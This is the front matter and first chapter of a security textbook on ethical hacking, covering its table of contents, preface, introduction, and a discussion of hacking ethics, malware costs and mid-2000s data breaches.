Instrumented Fuzzing Tools and Techniques . . . . . . . . . . . . . . . . . . . . . .
A Simple URL Fuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Fuzzing Unknown Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SPIKE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SPIKE Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Sharefuzz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
336
336
337
338
340
341
342
343
348
349
349
352
353
357
357
Chapter 15 Client-Side Browser Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
359
Why Client-Side Vulnerabilities Are Interesting . . . . . . . . . . . . . . . . . . . .
Client-Side Vulnerabilities Bypass Firewall Protections . . . . . . . . .
Client-Side Applications Are Often Running
with Administrative Privileges . . . . . . . . . . . . . . . . . . . . . . . . . .
Client-Side Vulnerabilities Can Easily Target Specific People
or Organizations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
359
359
360
360
Contents
xv
Internet Explorer Security Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ActiveX Controls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Internet Explorer Security Zones . . . . . . . . . . . . . . . . . . . . . . . . . . .
History of Client-Side Exploits and Latest Trends . . . . . . . . . . . . . . . . . . .
Client-Side Vulnerabilities Rise to Prominence . . . . . . . . . . . . . . .
Notable Vulnerabilities in the History of Client-Side Attacks . . . .
Finding New Browser-Based Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . .
MangleMe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
AxEnum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
AxFuzz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
AxMan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Heap Spray to Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
InternetExploiter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Protecting Yourself from Client-Side Exploits . . . . . . . . . . . . . . . . . . . . . .
Keep Up-to-Date on Security Patches . . . . . . . . . . . . . . . . . . . . . . .
Stay Informed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Run Internet-Facing Applications with Reduced Privileges . . . . . .
361
361
362
363
363
364
369
370
372
377
378
383
384
385
385
385
385
Chapter 16 Exploiting Windows Access Control Model for
Local Elevation of Privilege . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
387
Why Access Control Is Interesting to a Hacker . . . . . . . . . . . . . . . . . . . . .
Most People Don’t Understand Access Control . . . . . . . . . . . . . . .
Vulnerabilities You Find Are Easy to Exploit . . . . . . . . . . . . . . . . . .
You’ll Find Tons of Security Vulnerabilities . . . . . . . . . . . . . . . . . .
How Windows Access Control Works . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Security Identifier (SID) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Access Token . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Security Descriptor (SD) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Access Check . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Tools for Analyzing Access Control Configurations . . . . . . . . . . . . . . . . .
Dumping the Process Token . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Dumping the Security Descriptor . . . . . . . . . . . . . . . . . . . . . . . . . .
Special SIDs, Special Access, and “Access Denied” . . . . . . . . . . . . . . . . . .
Special SIDs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Special Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Investigating “Access Denied” . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Analyzing Access Control for Elevation of Privilege . . . . . . . . . . . . . . . . .
Attack Patterns for Each Interesting Object Type . . . . . . . . . . . . . . . . . . .
Attacking Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Attacking Weak DACLs in the Windows Registry . . . . . . . . . . . . . .
Attacking Weak Directory DACLs . . . . . . . . . . . . . . . . . . . . . . . . . . .
Attacking Weak File DACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
387
387
388
388
388
389
390
394
397
400
401
403
406
406
408
409
417
418
418
424
428
433
Gray Hat Hacking: The Ethical Hacker’s Handbook
xvi
What Other Object Types Are out There? . . . . . . . . . . . . . . . . . . . . . . . . .
Enumerating Shared Memory Sections . . . . . . . . . . . . . . . . . . . . . .
Enumerating Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Enumerating Other Named Kernel Objects
(Semaphores, Mutexes, Events, Devices) . . . . . . . . . . . . . . . . . .
437
437
439
439
Chapter 17 Intelligent Fuzzing with Sulley . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
441
Protocol Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Sulley Fuzzing Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Installing Sulley . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Powerful Fuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Blocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Sessions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Monitoring the Process for Faults . . . . . . . . . . . . . . . . . . . . . . . . . .
Monitoring the Network Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Controlling VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Putting It All Together . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Postmortem Analysis of Crashes . . . . . . . . . . . . . . . . . . . . . . . . . . .
Analysis of Network Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Way Ahead . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
441
443
443
443
446
449
450
451
452
452
454
456
456
Chapter 18 From Vulnerability to Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
459
Exploitability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Debugging for Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Understanding the Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Preconditions and Postconditions . . . . . . . . . . . . . . . . . . . . . . . . . .
Repeatability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Payload Construction Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Payload Protocol Elements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffer Orientation Problems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Self-Destructive Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Documenting the Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Background Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Circumstances . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Research Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
460
460
466
466
467
475
476
476
477
478
478
478
479
Chapter 19 Closing the Holes: Mitigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
481
Mitigation Alternatives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Port Knocking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Migration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Patching . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Source Code Patching Considerations . . . . . . . . . . . . . . . . . . . . . .
Binary Patching Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Binary Mutation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Third-Party Patching Initiatives . . . . . . . . . . . . . . . . . . . . . . . . . . . .
481
482
482
484
484
486
490
495
Contents
xvii
Part V Malware Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
497
Chapter 20 Collecting Malware and Initial Analysis . . . . . . . . . . . . . . . . . . . . . . . .
499
Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Types of Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Malware Defensive Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Latest Trends in Honeynet Technology . . . . . . . . . . . . . . . . . . . . . . . . . . .
Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Honeynets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Why Honeypots Are Used . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Low-Interaction Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
High-Interaction Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Types of Honeynets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Thwarting VMware Detection Technologies . . . . . . . . . . . . . . . . . .
Catching Malware: Setting the Trap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
VMware Host Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
VMware Guest Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Nepenthes to Catch a Fly . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Initial Analysis of Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Static Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Live Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Norman Sandbox Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
What Have We Discovered? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
499
499
500
501
501
501
502
502
503
503
504
506
508
508
508
508
510
510
512
518
520
Chapter 21 Hacking Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
521
Trends in Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Embedded Components . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Use of Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
User Space Hiding Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Use of Rootkit Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Persistence Measures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Peeling Back the Onion—De-obfuscation . . . . . . . . . . . . . . . . . . . . . . . . .
Packer Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Unpacking Binaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Reverse Engineering Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Malware Setup Phase . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Malware Operation Phase . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Automated Malware Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
521
522
522
522
523
523
524
524
525
533
533
534
535
Index
537
..................................................
This page intentionally left blank
PREFACE
This book has been developed by and for security professionals who are dedicated to
working in an ethical and responsible manner to improve the overall security posture of
individuals, corporations, and nations.
xix
This page intentionally left blank
ACKNOWLEDGMENTS
Shon Harris would like to thank the other authors and the team members for their continued dedication to this project and continual contributions to the industry as a whole.
She would also like to thank Scott David, partner at K&L Gates LLP, for reviewing and
contributing to the legal topics of this book.
Allen Harper would like to thank his wonderful wife, Corann, and daughters, Haley
and Madison, for their support and understanding through this second edition. You
gave me the strength and the ability to achieve my goals. I am proud of you and love you
each dearly.
Chris Eagle would like to thank all of his students and fellow members of the Sk3wl
of r00t. They keep him motivated, on his toes, and most of all make all of this fun!
Jonathan Ness would like to thank Jessica, his amazing wife, for tolerating the long
hours required for him to write this book (and hold his job and his second job and third
“job” and the dozens of side projects). He would also like to thank his family, mentors,
teachers, coworkers, pastors, and friends who have guided him along his way, contributing more to his success than they’ll ever know.
xxi
This page intentionally left blank
INTRODUCTION
There is nothing so likely to produce peace as to be well prepared to meet the enemy.
—George Washington
He who has a thousand friends has not a friend to spare, and he who has one enemy will
meet him everywhere.
—Ralph Waldo Emerson
Know your enemy and know yourself and you can fight a hundred battles without disaster.
—Sun Tzu
The goal of this book is to help produce more highly skilled security professionals
who are dedicated to protecting against malicious hacking activity. It has been proven
over and over again that it is important to understand one’s enemies, including their tactics, skills, tools, and motivations. Corporations and nations have enemies that are very
dedicated and talented. We must work together to understand the enemies’ processes
and procedures to ensure that we can properly thwart their destructive and malicious
behavior.
The authors of this book want to provide the readers with something we believe the
industry needs: a holistic review of ethical hacking that is responsible and truly ethical
in its intentions and material. This is why we are starting this book with a clear definition of what ethical hacking is and is not—something society is very confused about.
We have updated the material from the first edition and have attempted to deliver the
most comprehensive and up-to-date assembly of techniques and procedures. Six new
chapters are presented and the other chapters have been updated.
In Part I of this book we lay down the groundwork of the necessary ethics and expectations of a gray hat hacker. This section:
• Clears up the confusion about white, black, and gray hat definitions and
characteristics
• Reviews the slippery ethical issues that should be understood before carrying
out any type of ethical hacking activities
• Surveys legal issues surrounding hacking and many other types of malicious
activities
• Walks through proper vulnerability discovery processes and current models that
provide direction
In Part II we introduce more advanced penetration methods and tools that no other
books cover today. Many existing books cover the same old tools and methods that have
xxiii
Gray Hat Hacking: The Ethical Hacker’s Handbook
xxiv
been rehashed numerous times, but we have chosen to go deeper into the advanced
mechanisms that real gray hats use today. We discuss the following topics in this section:
• Automated penetration testing methods and advanced tools used to carry out
these activities
• The latest tools used for penetration testing
In Part III we dive right into the underlying code and teach the reader how specific
components of every operating system and application work, and how they can be
exploited. We cover the following topics in this section:
• Program Coding 101 to introduce you to the concepts you will need to
understand for the rest of the sections
• How to exploit stack operations and identify and write buffer overflows
• How to identify advanced Linux and Windows vulnerabilities and how they are
exploited
• How to create different types of shellcode to develop your own proof-ofconcept exploits and necessary software to test and identify vulnerabilities
In Part IV we go even deeper, by examining the most advanced topics in ethical hacking that many security professionals today do not understand. In this section we examine the following:
• Passive and active analysis tools and methods
• How to identify vulnerabilities in source code and binary files
• How to reverse-engineer software and disassemble the components
• Fuzzing and debugging techniques
• Mitigation steps of patching binary and source code
In Part V we added a new section on malware analysis. At some time or another, the
ethical hacker will come across a piece of malware and may need to perform basic analysis. In this section, you will learn:
• Collection of your own malware specimen
• Analysis of malware to include a discussion of de-obfuscation techniques
If you are ready to take the next step to advance and deepen your understanding of
ethical hacking, this is the book for you.
We’re interested in your thoughts and comments. Please e-mail us at
book@grayhathackingbook.com. Also, browse to www.grayhathackingbook.com for
additional technical information and resources related to this book and ethical hacking.
Introduction to Ethical
Disclosure
■ Chapter 1
■ Chapter 2
■ Chapter 3
Ethics of Ethical Hacking
Ethical Hacking and the Legal System
Proper and Ethical Disclosure
1
This page intentionally left blank
CHAPTER
Ethics of Ethical Hacking
•
•
•
•
Role of ethical hacking in today’s world
How hacking tools are used by security professionals
General steps of hackers and security professionals
Ethical issues among white hat, black hat, and gray hat hackers
This book has not been compiled and written to be used as a tool by individuals who wish
to carry out malicious and destructive activities. It is a tool for people who are interested in
extending or perfecting their skills to defend against such attacks and damaging acts.
Let’s go ahead and get the commonly asked questions out of the way and move on
from there.
Was this book written to teach today’s hackers how to cause damage in more effective
ways?
Answer: No. Next question.
Then why in the world would you try to teach people how to cause destruction and
mayhem?
Answer: You cannot properly protect yourself from threats you do not
understand. The goal is to identify and prevent destruction and mayhem, not
cause it.
I don’t believe you. I think these books are only written for profits and royalties.
Answer: This book actually was written to teach security professionals what the
bad guys already know and are doing. More royalties would be nice, so please
buy two copies of this book.
Still not convinced? Why do militaries all over the world study their enemies’ tactics,
tools, strategies, technologies, and so forth? Because the more you know what your
enemy is up to, the better idea you have as to what protection mechanisms you need to
put into place to defend yourself.
Most countries’ militaries carry out scenario-based fighting exercises in many
different formats. For example, pilot units will split their team up into the “good guys”
and the “bad guys.” The bad guys use the tactics, techniques, and fighting methods of a
specific type of enemy—Libya, Russia, United States, Germany, North Korea, and so on.
3
1
Gray Hat Hacking: The Ethical Hacker’s Handbook
4
The goal of these exercises is to allow the pilots to understand enemy attack patterns,
and to identify and be prepared for certain offensive actions so they can properly react in
the correct defensive manner.
This may seem like a large leap for you, from pilots practicing for wartime to corporations trying to practice proper information security, but it is all about what the team is
trying to protect and the risks involved.
Militaries are trying to protect their nation and its assets. Several governments around
the world have come to understand that the same assets they have spent millions and
billions of dollars to protect physically are now under different types of threats. The
tanks, planes, and weaponry still have to be protected from being blown up, but they are
all now run by and are dependent upon software. This software can be hacked into,
compromised, or corrupted. Coordinates of where bombs are to be dropped can be
changed. Individual military bases still need to be protected by surveillance and military
police, which is physical security. Surveillance uses satellites and airplanes to watch for
suspicious activities taking place from afar, and security police monitor the entry points
in and out of the base. These types of controls are limited in monitoring all of the physical entry points into a military base. Because the base is so dependent upon technology
and software—as every organization is today—and there are now so many communication channels present (Internet, extranets, wireless, leased lines, shared WAN lines, and
so on), there has to be a different type of “security police” that covers and monitors these
technical entry points in and out of the bases.
So your corporation does not hold top security information about the tactical military troop movement through Afghanistan, you don’t have the speculative coordinates
of the location of bin Laden, and you are not protecting the launch codes of nuclear
bombs—does that mean you do not need to have the same concerns and countermeasures? Nope. The military needs to protect its assets and you need to protect yours.
The example of protecting military bases may seem extreme, but let’s look at many of
the extreme things that companies and individuals have had to experience because of
poorly practiced information security.
Figure 1-1, from Computer Economics, 2006, shows the estimated cost to corporations
and organizations around the world to survive and “clean up” during the aftermath of
some of the worst malware incidents to date. From 2005 and forward, overall losses due
to malware attacks declined. This reduction is a continuous pattern year after year. Several factors are believed to have caused this decline, depending upon whom you talk to.
These factors include a combination of increased hardening of the network infrastructure and an improvement in antivirus and anti-malware technology. Another theory
regarding this reduction is that attacks have become less generalized in nature, more
specifically targeted. The attackers seem to be pursuing a more financially rewarding
strategy, such as stealing financial and credit card information. The less-generalized
attacks are still taking place, but at a decreasing rate. While the less-generalized attacks
can still cause damage, they are mainly just irritating, time-consuming, and require a lot
of work-hours from the operational staff to carry out recovery and cleanup activities. The
more targeted attacks will not necessarily continue to keep the operational staff carrying
out such busy work, but the damage of these attacks is commonly much more devastating to the company overall.
Chapter 1: Ethics of Ethical Hacking
5
PART I
Figure 1-1
Estimates of
malware financial
impacts
The “Symantec Internet Security Threat Report” (published in September 2006) confirmed the increase of the targeted and profit-driven attacks by saying that attacks on
financial targets had increased by approximately 350 percent in the first half of 2006
over the preceding six-month period. Attacks on the home user declined by approximately 7 percent in that same period.
The hacker community is changing. Over the last two to three years, hackers’ motivation has changed from just the thrill of figuring out how to exploit vulnerabilities to figuring out how to make revenue from their actions and getting paid for their skills.
Hackers who were out to “have fun” without any real targeted victims in mind have been
largely replaced by people who are serious about reaping financial benefits from their
activities. The attacks are not only getting more specific, but also increasing in sophistication. This is why many people believe that the spread of malware has declined over
time—malware that sends a “shotgun blast” of software to as many systems as it can
brings no financial benefit to the bad guys compared with malware that zeros-in on a
victim for a more strategic attack.
The year 2006 has been called the “Year of the Rootkit” because of the growing use of
rootkits, which allow hackers to attack specific targets without much risk of being identified. Much antivirus and anti-malware cannot detect rootkits (specific tools are used to
detect rootkits), so while the vendors say that they have malware more under control, it
is rather that the hackers are changing their ways of doing business.
NOTE
Chapter 6 goes in-depth into rootkits and how they work.
Although malware use has decreased, it is still the main culprit that costs companies
the most money. An interesting thing about malware is that many people seem to put it in
a category different from hacking and intrusions. The fact is, malware has evolved to
Gray Hat Hacking: The Ethical Hacker’s Handbook
6
Table 1-1
Downtime Losses
(Source: Alinean)
Business Application
Estimated Outage Cost per Minute
Supply chain management
E-commerce
Customer service
ATM/POS/EFT
Financial management
Human capital management
Messaging
Infrastructure
$11,000
$10,000
$3,700
$3,500
$1,500
$1,000
$1,000
$700
become one of the most sophisticated and automated forms of hacking. The attacker only
has to put in some upfront effort developing the software, and then it is free to do damage
over and over again with no more effort from the attacker. The commands and logic
within the malware are the same components that many attackers carry out manually.
The company Alinean has put together some cost estimates, per minute, for different
organizations if their operations are interrupted. Even if an attack or compromise is not
totally successful for the attacker (he does not obtain the asset he is going for), this in no
way means that the company is unharmed. Many times attacks and intrusions cause a
nuisance, and they can negatively affect production and the operations of departments,
which always correlates with costing the company money in direct or indirect ways.
These costs are shown in Table 1-1.
A conservative estimate from Gartner (a leading research and advisory company)
pegs the average hourly cost of downtime for computer networks at $42,000. A company that suffers from worse than average downtime of 175 hours a year can lose more
than $7 million per year. Even when attacks are not newsworthy enough to be reported
on TV or talked about in security industry circles, they still negatively affect companies’
bottom lines all the time. Companies can lose annual revenue and experience increased
costs and expenses due to network downtime, which translates into millions of dollars
lost in productivity and revenue.
Here are a few more examples and trends of the security compromises that are taking
place today:
• Both Ameritrade and E-Trade Financial, two of the top five online brokerage
services, confirmed that millions of dollars had been lost to (or stolen by)
hacker attacks on their systems in the third quarter of 2006. Investigations by
the SEC, FBI, and Secret Service have been initiated as a result.
• Apple computers, which had been relatively untargeted by hackers due to their
smaller market share, are becoming the focus of more attacks. Identified
vulnerabilities in the MAC OS X increased by almost 400 percent from 2004 to
2006, but still make up only a small percentage of the total of known
vulnerabilities. In another product line, Apple reported that some of their iPods
shipped in late 2006 were infected with the RavMonE.exe virus. The virus was
Chapter 1: Ethics of Ethical Hacking
7
• In December 2006, a 26-year-old Romanian man was indicted by U.S. courts
on nine counts of computer intrusion and one count of conspiracy regarding
breaking into more than 150 U.S. government computer systems at the Jet
Propulsion Labs, the Goddard Space Flight Center, Sandia National
Laboratories, and the U.S. Naval Observatory. The intrusion cost the U.S.
government nearly $150 million in damages. The accused faces up to 54 years
in prison if convicted on all counts.
• In Symantec’s “Internet Security Threat Report, Volume X,” released September
2006, they reported the detection of over 150,000 new, unique phishing messages
over a six-month period from January 2006 through June 2006, up 81 percent over
the same reporting period from the previous year. Symantec detected an average
of 6,110 denial-of-service (DoS) attacks per day, the United States being the most
prevalent target of attacks (54 percent), and the most prolific source of attacks
(37 percent) worldwide. Networks in China, and specifically Beijing, are identified
as being the most bot-infected and compromised on the planet.
• On September 25, 2007, hackers posted names, credit card numbers, as well as
Card Verification Value (CVV) Codes and addresses of eBay customers on a
forum that was specifically created for fraud prevention by the auction site. The
information was available for more than an hour to anyone that visited the
forum before it was taken down.
• A security breach at Pfizer on September 4, 2007, may have publicly exposed
the names, social security numbers, addresses, dates of birth, phone numbers,
credit card information, signatures, bank account numbers, and other personal
information of 34,000 employees. The breach occurred in 2006 but was not
noticed by the company until July 10, 2007.
• On August 23, 2007, the names, addresses, and phone numbers of around
1.6 million job seekers were stolen from Monster.com.
• On February 8, 2007, Consumeraffairs.com reported that identity theft had
topped the Federal Trade Commission’s (FTC’s) complaint list for the seventh
year in a row. Identity theft complaints accounted for 36 percent of the 674,354
complaints that were received by the FTC in the period between January 1,
2006, and December 31, 2006.
• Privacyrights.org has reported that the total number of records containing
sensitive information that have been involved in security breaches from January
10, 2005, to September 28, 2007 numbers 166,844,653.
• Clay High School in Oregon, Ohio, reported on January 25, 2007, that staff and
student information had been obtained through a security breach by a former
student. The data had been copied to an iPod and included names, social
security numbers, birth dates, phone numbers, and addresses.
PART I
thought to have been introduced into the production line through another
company that builds the iPods for Apple.
Gray Hat Hacking: The Ethical Hacker’s Handbook
8
• The theft of a portable hard drive from an employee of the U. S. Department of
Veteran’s Affairs, VA Medical Center in Birmingham, Alabama, resulted in the
potential exposure of nearly a million VA patients’ data, as well as more than
$20 million being spent in response to the data breach.
• In April 2007, a woman in Nebraska was able to use TurboTax online to access
not only her previous tax returns, but the returns for other TurboTax customers
in different parts of the country. This information contained things like social
security numbers, personal information, bank account numbers, and routing
digits that would have been provided when e-filing.
• A security contractor for Los Alamos National Laboratory sent critical and
sensitive information on nuclear materials over open, unsecured e-mail
networks in January 2007—a security failing ranked among the top of serious
threats against national security interests or critical Department of Energy
assets. Several Los Alamos National Security officials apparently used open and
insecure e-mail networks to share classified information pertaining to nuclear
material in nuclear weapons on January 19, 2007.
Carnegie Mellon University’s Computer Emergency Response Team (CERT) shows in
its cyberterrorism study that the bad guys are getting smarter, more resourceful, and
seemingly unstoppable, as shown in Figure 1-2.
So what will companies need to do to properly protect themselves from these types of
incidents and business risks?
• In 2006, an increasing number of companies felt that security was the number
one concern of senior management. Protection from attack was their highest
priority, followed by proprietary data protection, then customer and client
privacy, and finally regulatory compliance issues.
• Telecommuting, mobile devices, public terminals, and thumb drives are viewed
as principal sources of unauthorized data access and data theft, but are not yet
covered in most corporate security policies and programs.
• The FBI has named computer crimes as their third priority. The 203-page
document that justifies its 2008 fiscal year budget request to Congress included
a request for $258.5 million to fund 659 field agents. This is a 1.5 percent
increase over the 2007 fiscal year.
• IT budgets, staffing, and salaries were expected to increase during the year 2007
according to a survey of CIOs and IT executives conducted by the Society for
Information Management.
• In February 2007, Forrester.com reported in a teleconference that the firms they
had surveyed were planning on spending between 7.5 percent and 9.0 percent
of their IT budgets on security. These figures were fairly consistent among
different organizations, regardless of their industry, size, and geographic
location. In May 2007 they reported that more than half of the IT directors they
had surveyed were planning on increasing their security budgets.
Chapter 1: Ethics of Ethical Hacking
9
PART I
Figure 1-2
The sophistication and knowledge of hackers are increasing.
As stated earlier, an interesting shift has taken place in the hacker community—from
joyriding to hacking as an occupation. Today close to a million computers are infected
with bots that are controlled by specific hackers. If a hacker has infected 4,000 systems,
she can use her botnetwork to carry out DoS attacks or lease these systems to others.
Botnets are used to spread more spam, phishing attacks, and pornography. Hackers who
own and run botnets are referred to as bot herders, and they lease out systems to others
who do not want their activities linked to their true identities or systems. Since more network administrators have properly configured their mail relays, and blacklists are used
to block mail relays that are open, spammers have had to move to different methods
(using botnets), which the hacking community has been more than willing to provide—
for a price.
On January 23, 2006, “BotHerder” Jeanson James Ancheta, 21, of Downey, California, a member of the “botmaster underground,” pleaded guilty to fraudulently installing adware and then selling zombies to hackers and spammers. “BotHerder” was
sentenced on May 8, 2006, with a record prison sentence of 57 months (nearly five
years) in federal prison. At the time of sentencing it was the first prosecution of its kind
in the United States, and was the longest known sentence for a defendant who had
spread computer viruses.
Gray Hat Hacking: The Ethical Hacker’s Handbook
10
NOTE A drastic increase in spam was experienced in the later months of 2006
and early part of 2007 because spammers embedded images with their messages
instead of using the traditional text. This outwitted almost all of the spam filters,
and many people around the world experienced a large surge in spam.
So what does this all have to do with ethics? As many know, the term “hacker” had a
positive connotation in the 1980s and early 1990s. It was a name for someone who
really understood systems and software, but it did not mean that they were carrying out
malicious activities. As malware and attacks emerged, the press and the industry equated
the term “hacker” with someone who carries out malicious technical attacks. Just as in
the rest of life, where good and evil are constantly trying to outwit each other, there are
good hackers (ethical) and bad hackers (unethical). This book has been created by and
for ethical hackers.
References
Infonetics Research www.infonetics.com
Federal Trade Commission, Identity Theft Victim Complaint Data www.consumer.gov/
idtheft/pdf/clearinghouse_2005.pdf
Symantec Corporation, Internet Security Threat Report www.symantec.com/specprog/
threatreport/ent-whitepaper_symantec_internet_security_threat_report_x_09_2006
.en-us.pdf
Bot Network Overview www.cert-in.org.in/knowledgebase/whitepapers/ciwp-2005-05.htm
Zero-Day Attack Prevention http://searchwindowssecurity.techtarget.com/generic/
0,295582,sid45_gci1230354,00.html
How Botnets Work www.windowsecurity.com/articles/Robot-Wars-How-Botnets-Work.html
Computer Crime & Intellectual Property Section, United States Department of
Justice www.cybercrime.gov/ccnews.html
Privacy Rights Clearinghouse, A Chronology of Data Breaches www.privacyrights.org/ar/
ChronDataBreaches.htm#CP
How Does This Stuff Relate to an Ethical
Hacking Book?
Corporations and individuals need to understand how these attacks and losses are taking
place so they can understand how to stop them. The vast amount of functionality that is
provided by organizations’ networking, database, e-mail, instant messaging, remote
access, and desktop software is also the thing that attackers use against them. There is an
all too familiar battle of functionality versus security within every organization. This is
why in most environments the security officer is not the most well-liked individual in the
company. Security officers are in charge of ensuring the overall security of the environment, which usually means reducing or shutting off many functionalities that users love.
Telling people that they cannot use music-sharing software, open attachments, use applets
or JavaScript via e-mail, or disable the antivirus software that slows down software
Chapter 1: Ethics of Ethical Hacking
11
The Controversy of Hacking Books and Classes
When books on hacking first came out, a big controversy arose pertaining to whether they
were the right thing to do. One side said that such books only increased the attackers’
skills and techniques and created new attackers. The other side stated that the attackers
already had these skills, and these books were written to bring the security professionals
and networking individuals up to speed. Who was right? They both were.
The word “hacking” is sexy, exciting, seemingly seedy, and usually brings about
thoughts of complex technical activities, sophisticated crimes, and a look into the face
of electronic danger itself. Although some computer crimes may take on some of these
